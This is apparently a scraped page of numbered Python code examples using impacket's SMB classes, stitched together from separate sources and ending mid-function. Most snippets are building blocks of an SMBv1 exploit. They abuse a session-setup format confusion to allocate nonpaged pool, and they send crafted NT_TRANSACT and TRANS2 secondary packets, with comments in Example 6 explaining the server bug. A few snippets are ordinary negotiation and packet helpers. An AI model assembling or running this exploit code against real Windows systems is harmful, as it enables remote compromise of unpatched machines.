Ejemplo n.º 1
0
def createSessionAllocNonPaged(target, size):
    conn = MYSMB(target, use_ntlmv2=False)  # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set
    _, flags2 = conn.get_flags()
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
    else:
        flags2 |= smb.SMB.FLAGS2_UNICODE
        reqSize = size
    conn.set_flags(flags2=flags2)

    pkt = smb.NewSMBPacket()

    sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
    sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

    sessionSetup['Parameters']['MaxBufferSize'] = 61440  # can be any value greater than response size
    sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
    sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
    sessionSetup['Parameters']['SessionKey'] = 0
    sessionSetup['Parameters'][
        'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
    sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS

    sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
    pkt.addCommand(sessionSetup)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        print('SMB1 session setup allocate nonpaged pool success')
        return conn

    if USERNAME:
        # Try login with valid user because anonymous user might get access denied on Windows Server 2012.
        # Note: If target allows only NTLMv2 authentication, the login will always fail.
        # support only ascii because I am lazy to implement Unicode (need pad for alignment and converting username to utf-16)
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
        conn.set_flags(flags2=flags2)

        # new SMB packet to reset flags
        pkt = smb.NewSMBPacket()
        pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
        # UnicodePasswordLen field is in Reserved for extended security format.
        sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
        sessionSetup['Data'] = pack('<H',
                                    reqSize + len(pwd_unicode) + len(USERNAME)) + pwd_unicode + USERNAME + '\x00' * 16
        pkt.addCommand(sessionSetup)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        if recvPkt.getNTStatus() == 0:
            print('SMB1 session setup allocate nonpaged pool success')
            return conn

    # lazy to check error code, just print fail message
    print('SMB1 session setup allocate nonpaged pool failed')
    sys.exit(1)
def send_trans2_second(conn, tid, data, displacement):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    # assume no params

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
    transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
    transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

    transCommand['Parameters']['TotalParameterCount'] = 0
    transCommand['Parameters']['TotalDataCount'] = len(data)

    fixedOffset = 32+3+18
    transCommand['Data']['Pad1'] = ''

    transCommand['Parameters']['ParameterCount'] = 0
    transCommand['Parameters']['ParameterOffset'] = 0

    if len(data) > 0:
        pad2Len = (4 - fixedOffset % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = len(data)
    transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
    transCommand['Parameters']['DataDisplacement'] = displacement

    transCommand['Data']['Trans_Parameters'] = ''
    transCommand['Data']['Trans_Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
Ejemplo n.º 3
0
    def _negotiateSession(self,
                          myName,
                          remoteName,
                          remoteHost,
                          sess_port,
                          timeout,
                          extended_security=True,
                          flags1=0,
                          flags2=0,
                          data=None):
        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects
        # (including SMB1) is supported on the other end.

        if not myName:
            myName = socket.gethostname()
            i = string.find(myName, '.')
            if i > -1:
                myName = myName[:i]

        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old
        # applications still believing
        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i
        # *SMBSERVER's limitations
        if sess_port == 445 and remoteName == '*SMBSERVER':
            remoteName = remoteHost

        tries = 0
        smbp = smb.NewSMBPacket()
        smbp['Flags1'] = flags1
        smbp['Flags2'] = flags2
        resp = None
        while tries < 2:
            self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName,
                                                     remoteHost,
                                                     nmb.TYPE_SERVER,
                                                     sess_port, timeout)

            negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
            if extended_security is True:
                smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY
            negSession['Data'] = data
            smbp.addCommand(negSession)
            self._nmbSession.send_packet(str(smbp))

            try:
                resp = self._nmbSession.recv_packet(timeout)
                break
            except nmb.NetBIOSError:
                # OSX Yosemite asks for more Flags. Let's give it a try and see what happens
                smbp[
                    'Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE
                smbp['Data'] = []

            tries += 1

        if resp is None:
            # No luck, quitting
            raise

        return resp.get_trailer()
Ejemplo n.º 4
0
    def _negotiateSession(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security = True):
        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects
        # (including SMB1) is supported on the other end.

        if not myName:
            myName = socket.gethostname()
            i = string.find(myName, '.')
            if i > -1:
                myName = myName[:i]

        # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old applications still believing
        # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about *SMBSERVER's limitations
        if sess_port == 445 and remoteName == '*SMBSERVER':
           remoteName = remoteHost

        self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, timeout)

        smbp = smb.NewSMBPacket()
        negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
        if extended_security == True:
            smbp['Flags2']=smb.SMB.FLAGS2_EXTENDED_SECURITY
        negSession['Data'] = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
        smbp.addCommand(negSession)
        self._nmbSession.send_packet(str(smbp))

        r = self._nmbSession.recv_packet(timeout)

        return r.get_trailer()
Ejemplo n.º 5
0
        def createSessionAllocNonPaged(self, target, size):
            conn = smb.SMB(target, target)
            _, flags2 = conn.get_flags()

            flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

            if size >= 0xffff:
                flags2 &= ~smb.SMB.FLAGS2_UNICODE
                reqSize = size // 2
            else:
                flags2 |= smb.SMB.FLAGS2_UNICODE
                reqSize = size

            conn.set_flags(flags2=flags2)
            pkt = smb.NewSMBPacket()

            sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
            sessionSetup[
                'Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

            sessionSetup['Parameters']['MaxBufferSize'] = 61440
            sessionSetup['Parameters']['MaxMpxCount'] = 2
            sessionSetup['Parameters']['VcNumber'] = 2
            sessionSetup['Parameters']['SessionKey'] = 0
            sessionSetup['Parameters']['SecurityBlobLength'] = 0
            sessionSetup['Parameters'][
                'Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY

            sessionSetup['Data'] = pack('<H', reqSize) + b'\x00' * 20
            pkt.addCommand(sessionSetup)

            conn.sendSMB(pkt)
            recvPkt = conn.recvSMB()

            return conn
Ejemplo n.º 6
0
def createSessionAllocNonPaged(target, size):
	# There is a bug in SMB_COM_SESSION_SETUP_ANDX command that allow us to allocate a big nonpaged pool.
	# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function for storing NativeOS and NativeLanMan.
	# The NativeOS and NativeLanMan size is caculated from "ByteCount - other_data_size"
	
	# Normally a server validate WordCount and ByteCount field in SrvValidateSmb() function. They must not be larger than received data. 
	# For "NT LM 0.12" dialect, There are 2 possible packet format for SMB_COM_SESSION_SETUP_ANDX command.
	# - https://msdn.microsoft.com/en-us/library/ee441849.aspx for LM and NTLM authentication
	#   - GetNtSecurityParameters() function is resposible for extracting data from this packet format
	# - https://msdn.microsoft.com/en-us/library/cc246328.aspx for NTLMv2 (NTLM SSP) authentication
	#   - GetExtendSecurityParameters() function is resposible for extracting data from this packet format
	
	# These 2 formats have different WordCount (first one is 13 and later is 12). 
	# Here is logic in BlockingSessionSetupAndX() related to this bug
	# - check WordCount for both formats (the CAP_EXTENDED_SECURITY must be set for extended security format)
	# - if FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY are set, process a message as Extend Security request
	# - else, process a message as NT Security request
	
	# So we can send one format but server processes it as another format by controlling FLAGS2_EXTENDED_SECURITY and CAP_EXTENDED_SECURITY.
	# With this confusion, server read a ByteCount from wrong offset to calculating "NativeOS and NativeLanMan size".
	# But GetExtendSecurityParameters() checks ByteCount value again.
	
	# So the only possible request to use the bug is sending Extended Security request but does not set FLAGS2_EXTENDED_SECURITY.
	
	conn = smb.SMB(target, target)
	_, flags2 = conn.get_flags()
	# FLAGS2_EXTENDED_SECURITY MUST not be set
	flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
	# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
	if size >= 0xffff:
		flags2 &= ~smb.SMB.FLAGS2_UNICODE
		reqSize = size // 2
	else:
		flags2 |= smb.SMB.FLAGS2_UNICODE
		reqSize = size
	conn.set_flags(flags2=flags2)
	
	pkt = smb.NewSMBPacket()

	sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
	sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

	sessionSetup['Parameters']['MaxBufferSize']      = 61440  # can be any value greater than response size
	sessionSetup['Parameters']['MaxMpxCount']        = 2  # can by any value
	sessionSetup['Parameters']['VcNumber']           = 2  # any non-zero
	sessionSetup['Parameters']['SessionKey']         = 0
	sessionSetup['Parameters']['SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
	# UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session
	sessionSetup['Parameters']['Capabilities']       = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

	sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20
	pkt.addCommand(sessionSetup)

	conn.sendSMB(pkt)
	recvPkt = conn.recvSMB()
	if recvPkt.getNTStatus() == 0:
		print('SMB1 session setup allocate nonpaged pool success')
	else:
		print('SMB1 session setup allocate nonpaged pool failed')
	return conn
Ejemplo n.º 7
0
    def createSessionAllocNonPaged(target, size):
        conn = smb.SMB(target, target)
        _, flags2 = conn.get_flags()
        flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY

        if size >= 0xffff:
            flags2 &= ~smb.SMB.FLAGS2_UNICODE
            reqSize = size // 2
        else:
            flags2 |= smb.SMB.FLAGS2_UNICODE
            reqSize = size
        conn.set_flags(flags2=flags2)

        pkt = smb.NewSMBPacket()

        sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters()

        sessionSetup['Parameters']['MaxBufferSize'] = 61440  # can be any value greater than response size
        sessionSetup['Parameters']['MaxMpxCount'] = 2  # can by any value
        sessionSetup['Parameters']['VcNumber'] = 2  # any non-zero
        sessionSetup['Parameters']['SessionKey'] = 0
        sessionSetup['Parameters'][
            'SecurityBlobLength'] = 0  # this is OEMPasswordLen field in another format. 0 for NULL session
        sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY  # can add other flags

        sessionSetup['Data'] = pack('<H', reqSize) + '\x00' * 20
        pkt.addCommand(sessionSetup)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
        return conn
Ejemplo n.º 8
0
	def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
		if mid is None:
			mid = self.next_mid()
		
		pkt = smb.NewSMBPacket()
		pkt.addCommand(smbReq)
		pkt['Tid'] = self._default_tid if tid is None else tid
		pkt['Uid'] = self._uid
		pkt['Pid'] = self._pid if pid is None else pid
		pkt['Mid'] = mid
		flags1, flags2 = self.get_flags()
		pkt['Flags1'] = flags1
		pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2
		
		if self._SignatureEnabled:
			pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
			self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
			
		#print("type(pkt): ", type(pkt))
		#print("pkt.data: ", pkt.data, type(pkt.data))
		#print("pkt.rawData: ", pkt.rawData, type(pkt.rawData))
		#print("pkt.data: ", pkt.data, type(pkt.data))
		#print("str(pkt): ", str(pkt)) #error
		req = pkt.getData()
		#print("type(req): ",type(req))
		#print("req: ", req)
		beg = '\x00'*2
		wholebytes = beg.encode() + pack('>H', len(req)) + req
		return wholebytes  # assume length is <65536
Ejemplo n.º 9
0
    def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None):
        if mid is None:
            mid = self.next_mid()

        pkt = smb.NewSMBPacket()
        pkt.addCommand(smbReq)
        pkt['Tid'] = self._default_tid if tid is None else tid
        pkt['Uid'] = self._uid
        pkt['Pid'] = self._pid if pid is None else pid
        pkt['Mid'] = mid
        flags1, flags2 = self.get_flags()
        pkt['Flags1'] = flags1
        pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2

        if self._SignatureEnabled:
            pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
            self.signSMB(pkt, self._SigningSessionKey,
                         self._SigningChallengeResponse)
        # req = str(pkt) #ORIGINAL
        # req = pkt.__str__().decode('utf-8',errors='ignore')
        # Updated req so it returned the result of the string function.
        req = pkt.__str__()
        # Casted null hex char to bytes object for concatination to work.
        return b'\x00' * 2 + pack('>H',
                                  len(req)) + req  # assume length is <65536
Ejemplo n.º 10
0
    def do_lots(self, user, pwd_ansi, share, filename, domain=''):
        pkt = smb.NewSMBPacket()
        pkt['Flags1'] = 8

        sessionSetup = smb.SMBCommand(self.SMB_COM_SESSION_SETUP_ANDX)
        sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Parameters()
        sessionSetup['Data'] = smb.SMBSessionSetupAndX_Data()

        sessionSetup['Parameters']['MaxBuffer'] = 65535
        sessionSetup['Parameters']['MaxMpxCount'] = 2
        sessionSetup['Parameters']['VCNumber'] = os.getpid()
        sessionSetup['Parameters']['SessionKey'] = self.get_session_key()
        sessionSetup['Parameters']['AnsiPwdLength'] = len(pwd_ansi)
        sessionSetup['Parameters']['UnicodePwdLength'] = len('')
        sessionSetup['Parameters']['Capabilities'] = self.CAP_RAW_MODE

        sessionSetup['Data']['AnsiPwd'] = pwd_ansi
        sessionSetup['Data']['UnicodePwd'] = ''
        sessionSetup['Data']['Account'] = str(user)
        sessionSetup['Data']['PrimaryDomain'] = str(domain)
        sessionSetup['Data']['NativeOS'] = str(os.name)
        sessionSetup['Data']['NativeLanMan'] = 'pysmb'

        # This is an example of how to use chained ANDX commands

        treeConnect = smb.SMBCommand(self.SMB_COM_TREE_CONNECT_ANDX)
        treeConnect['Parameters'] = smb.SMBTreeConnectAndX_Parameters()
        treeConnect['Data'] = smb.SMBTreeConnectAndX_Data()
        treeConnect['Parameters']['PasswordLength'] = 1
        treeConnect['Data']['Password'] = '******'
        treeConnect['Data']['Path'] = share
        treeConnect['Data']['Service'] = smb.SERVICE_ANY

        openFile = smb.SMBCommand(self.SMB_COM_OPEN_ANDX)
        openFile['Parameters'] = smb.SMBOpenAndX_Parameters()
        openFile['Parameters']['DesiredAccess'] = smb.SMB_ACCESS_READ
        openFile['Parameters']['OpenMode'] = smb.SMB_O_OPEN
        openFile['Parameters']['SearchAttributes'] = 0
        openFile['Data'] = smb.SMBOpenAndX_Data()
        openFile['Data']['FileName'] = filename

        readAndX = smb.SMBCommand(self.SMB_COM_READ_ANDX)
        readAndX['Parameters'] = smb.SMBReadAndX_Parameters()
        readAndX['Parameters']['Offset'] = 0
        readAndX['Parameters']['Fid'] = 0
        readAndX['Parameters']['MaxCount'] = 4000

        pkt.addCommand(sessionSetup)
        pkt.addCommand(treeConnect)
        pkt.addCommand(openFile)
        pkt.addCommand(readAndX)

        # This is an example of how to make a loop with the chained commands
        # treeConnect['Parameters']['AndXCommand'] = self.SMB_COM_TREE_CONNECT_ANDX
        # treeConnect['Parameters']['AndXOffset'] = 72

        self.sendSMB(pkt)

        pkt = self.recvSMB()
Ejemplo n.º 11
0
    def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid

        command = pack('<H', setup)

        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
        transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
        transCommand['Parameters']['MaxSetupCount'] = 1
        transCommand['Parameters']['MaxParameterCount'] = len(param)
        transCommand['Parameters']['MaxDataCount'] = 0
        transCommand['Data'] = smb.SMBTransaction2_Data()
        transCommand['Parameters']['Setup'] = command
        transCommand['Parameters']['TotalParameterCount'] = len(param)
        transCommand['Parameters']['TotalDataCount'] = len(data)

        fixedOffset = 32 + 3 + 38 + len(command)
        if len(param) > 0:
            padLen = (4 - fixedOffset % 4) % 4
            padBytes = '\xFF' * padLen
            transCommand['Data']['Pad1'] = padBytes
        else:
            transCommand['Data']['Pad1'] = ''
            padLen = 0

        transCommand['Parameters']['ParameterCount'] = len(param)
        transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

        if len(data) > 0:
            pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
            transCommand['Data']['Pad2'] = '\xFF' * pad2Len
        else:
            transCommand['Data']['Pad2'] = ''
            pad2Len = 0

        transCommand['Parameters']['DataCount'] = firstDataFragmentSize
        transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

        transCommand['Data']['Trans_Parameters'] = param
        transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize]
        pkt.addCommand(transCommand)

        conn.sendSMB(pkt)
        conn.recvSMB()  # must be success

        i = firstDataFragmentSize
        while i < len(data):
            sendSize = min(4096, len(data) - i)
            if len(data) - i <= 4096:
                if not sendLastChunk:
                    break
            send_trans2_second(conn, tid, data[i:i + sendSize], i)
            i += sendSize

        if sendLastChunk:
            conn.recvSMB()
        return i
Ejemplo n.º 12
0
    def negotiateSessionWildcard(self,
                                 myName,
                                 remoteName,
                                 remoteHost,
                                 sess_port,
                                 timeout,
                                 extended_security=True,
                                 flags1=0,
                                 flags2=0,
                                 data=None):
        # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects
        # (including SMB1) is supported on the other end.

        if not myName:
            myName = socket.gethostname()
            i = string.find(myName, '.')
            if i > -1:
                myName = myName[:i]

        tries = 0
        smbp = smb.NewSMBPacket()
        smbp['Flags1'] = flags1
        # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support
        smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE
        resp = None
        while tries < 2:
            self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName,
                                                     remoteHost,
                                                     nmb.TYPE_SERVER,
                                                     sess_port, timeout)

            negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)
            if extended_security is True:
                smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY
            negSession['Data'] = data
            smbp.addCommand(negSession)
            self._nmbSession.send_packet(str(smbp))

            try:
                resp = self._nmbSession.recv_packet(timeout)
                break
            except nmb.NetBIOSError:
                # OSX Yosemite asks for more Flags. Let's give it a try and see what happens
                smbp[
                    'Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE
                smbp['Data'] = []

            tries += 1

        if resp is None:
            # No luck, quitting
            raise

        return resp.get_trailer()
Ejemplo n.º 13
0
def SendNtTrans(conn, tid, functionID, maxSetupCount, setup, maxDataCount,
                totalDataCount, data, maxParamCount, totalParamCount, param):
    smb_packet = smb.NewSMBPacket()
    smb_packet['Tid'] = tid

    #    setup depends on NT_TRANSACT subcommands so it may be 0.
    setup_bytes = struct.pack('<H', setup) if setup != '' else ''

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
    transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
    transCommand['Parameters']['Setup'] = setup_bytes
    transCommand['Parameters']['Function'] = functionID

    transCommand['Parameters']['TotalParameterCount'] = totalParamCount
    transCommand['Parameters']['TotalDataCount'] = totalDataCount

    transCommand['Parameters']['MaxParameterCount'] = maxParamCount
    transCommand['Parameters']['MaxDataCount'] = maxDataCount
    transCommand['Parameters']['MaxSetupCount'] = maxSetupCount

    transCommand['Data'] = smb.SMBNTTransaction_Data()

    # SMB header size + SMB_COM_NT_TRANSACT parameters size + length of setup bytes.
    offset = 32 + 3 + 38 + len(setup_bytes)
    transCommand['Data']['Pad1'] = ''
    if offset % 4 != 0:
        transCommand['Data']['Pad1'] = '\0' * (4 - offset % 4)
        offset += (4 - offset % 4)  # pad1 length

    if len(param) > 0:
        transCommand['Parameters']['ParameterOffset'] = offset
    else:
        transCommand['Parameters']['ParameterOffset'] = 0

    offset += len(param)

    transCommand['Data']['Pad2'] = ''
    if offset % 4 != 0:
        transCommand['Data']['Pad2'] = '\0' * (4 - offset % 4)
        offset += (4 - offset % 4)

    if len(data) > 0:
        transCommand['Parameters']['DataOffset'] = offset
    else:
        transCommand['Parameters']['DataOffset'] = 0

    transCommand['Parameters']['DataCount'] = len(data)
    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Data']['NT_Trans_Parameters'] = param
    transCommand['Data']['NT_Trans_Data'] = data

    smb_packet.addCommand(transCommand)

    conn.sendSMB(smb_packet)
Ejemplo n.º 14
0
def send_nt_trans(tid, setup, data, param, firstDataCnt):
	pkt = smb.NewSMBPacket()
	pkt['Tid'] = tid

	command = pack('<H', setup)

	transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT)
	transCommand['Parameters'] = smb.SMBNTTransaction_Parameters()
	transCommand['Parameters']['MaxSetupCount'] = 1
	transCommand['Parameters']['MaxParameterCount'] = len(param)
	transCommand['Parameters']['MaxDataCount'] = 0
	transCommand['Data'] = smb.SMBTransaction2_Data()

	transCommand['Parameters']['Setup'] = command
	transCommand['Parameters']['TotalParameterCount'] = len(param)
	transCommand['Parameters']['TotalDataCount'] = len(data)

	fixedOffset = 32+3+38 + len(command)
	if len(param) > 0:
		padLen = (4 - fixedOffset % 4 ) % 4
		padBytes = '\xFF' * padLen
		transCommand['Data']['Pad1'] = padBytes
	else:
		transCommand['Data']['Pad1'] = ''
		padLen = 0

	transCommand['Parameters']['ParameterCount'] = len(param)
	transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen

	if len(data) > 0:
		pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
		transCommand['Data']['Pad2'] = '\xFF' * pad2Len
	else:
		transCommand['Data']['Pad2'] = ''
		pad2Len = 0

	transCommand['Parameters']['DataCount'] = firstDataCnt
	transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len

	transCommand['Data']['Trans_Parameters'] = param
	transCommand['Data']['Trans_Data'] = data[:firstDataCnt]
	pkt.addCommand(transCommand)

	conn.sendSMB(pkt)
	
	i = firstDataCnt
	while i < len(data):
		sendSize = min(4096, len(data) - i)
		send_trans2_second(tid, data[i:i+sendSize], i)
		i += sendSize
	
	conn.recvSMB()
Ejemplo n.º 15
0
def process(data, packetNum):
    packet = smb.NewSMBPacket()
    if data.get_packet()[0] == '\x00':
        if data.get_packet()[4:8] == '\xffSMB':
            try:
                packet.fromString(data.get_packet()[4:])
            except Exception, e:
                print "ERROR: %s" % e
                print "Command: SMBPacket"
                print "Packet: %d %r" % (packetNum, data.get_packet())
                return True
        else:
            return False
Ejemplo n.º 16
0
    def sendEcho(conn, tid, data):
        pkt = smb.NewSMBPacket()
        pkt['Tid'] = tid

        transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
        transCommand['Parameters'] = smb.SMBEcho_Parameters()
        transCommand['Data'] = smb.SMBEcho_Data()

        transCommand['Parameters']['EchoCount'] = 1
        transCommand['Data']['Data'] = data
        pkt.addCommand(transCommand)

        conn.sendSMB(pkt)
        recvPkt = conn.recvSMB()
Ejemplo n.º 17
0
	def send_echo(self, data):
		pkt = smb.NewSMBPacket()
		pkt['Tid'] = self._default_tid
		
		transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
		transCommand['Parameters'] = smb.SMBEcho_Parameters()
		transCommand['Data'] = smb.SMBEcho_Data()

		transCommand['Parameters']['EchoCount'] = 1
		transCommand['Data']['Data'] = data
		pkt.addCommand(transCommand)

		self.sendSMB(pkt)
		return self.recvSMB()
Ejemplo n.º 18
0
def SendTrans2Secondary(conn, tid, totalParamCount, totalDataCount, paraCount,
                        param, ParaDisplacement, dataCount, data,
                        dataDisplacement, FID):
    smb_packet = smb.NewSMBPacket()
    smb_packet['Tid'] = tid

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
    transCommand['Parameters'] = smb.SMBTransaction2Secondary_Parameters()
    transCommand['Data'] = smb.SMBTransaction2Secondary_Data()

    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)
    transCommand['Parameters']['FID'] = FID
    transCommand['Parameters']['DataDisplacement'] = dataDisplacement
    transCommand['Parameters']['ParameterDisplacement'] = ParaDisplacement

    if len(param) > 0:
        padLen = (4 - (32 + 2 + 18) % 4) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterOffset'] = 32 + 2 + 18 + padLen
    transCommand['Parameters']['ParameterCount'] = len(param)

    if len(data) > 0:
        pad2Len = (4 - (32 + 2 + 18 + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = len(data)
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters'][
        'ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data

    smb_packet.addCommand(transCommand)

    transCommand['Parameters'].dump()
    transCommand['Data'].dump()

    conn.sendSMB(smb_packet)
Ejemplo n.º 19
0
def send_trans2(conn, tid, setup, name, param, data):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    command = pack('<H', setup)

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2)
    transCommand['Parameters'] = smb.SMBTransaction2_Parameters()
    transCommand['Parameters']['MaxDataCount'] = len(data)
    transCommand['Data'] = smb.SMBTransaction2_Data()

    transCommand['Parameters']['Setup'] = command
    transCommand['Parameters']['TotalParameterCount'] = len(param)
    transCommand['Parameters']['TotalDataCount'] = len(data)

    if len(param) > 0:
        padLen = (4 - (32 + 2 + 28 + len(command)) % 4) % 4
        padBytes = '\xFF' * padLen
        transCommand['Data']['Pad1'] = padBytes
    else:
        transCommand['Data']['Pad1'] = ''
        padLen = 0

    transCommand['Parameters']['ParameterCount'] = len(param)
    transCommand['Parameters']['ParameterOffset'] = 32 + 2 + 28 + len(
        command) + len(name) + padLen

    if len(data) > 0:
        pad2Len = (4 -
                   (32 + 2 + 28 + len(command) + padLen + len(param)) % 4) % 4
        transCommand['Data']['Pad2'] = '\xFF' * pad2Len
    else:
        transCommand['Data']['Pad2'] = ''
        pad2Len = 0

    transCommand['Parameters']['DataCount'] = len(data)
    transCommand['Parameters']['DataOffset'] = transCommand['Parameters'][
        'ParameterOffset'] + len(param) + pad2Len

    transCommand['Data']['Name'] = name
    transCommand['Data']['Trans_Parameters'] = param
    transCommand['Data']['Trans_Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
def sendEcho(conn, tid, data):
    pkt = smb.NewSMBPacket()
    pkt['Tid'] = tid

    transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
    transCommand['Parameters'] = smb.SMBEcho_Parameters()
    transCommand['Data'] = smb.SMBEcho_Data()

    transCommand['Parameters']['EchoCount'] = 1
    transCommand['Data']['Data'] = data
    pkt.addCommand(transCommand)

    conn.sendSMB(pkt)
    recvPkt = conn.recvSMB()
    if recvPkt.getNTStatus() == 0:
        module.log('got good ECHO response')
    else:
        module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
Ejemplo n.º 21
0
def createSessionAllocNonPaged(target, size):
    # The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
    # You can see the allocation logic (even code is not the same) in WinNT4 source code
    # https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
    conn = smb.SMB(target, target)
    _, flags2 = conn.get_flags()
    # FLAGS2_EXTENDED_SECURITY MUST not be set
    flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
    # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
    if size >= 0xffff:
        flags2 &= ~smb.SMB.FLAGS2_UNICODE
        reqSize = size // 2
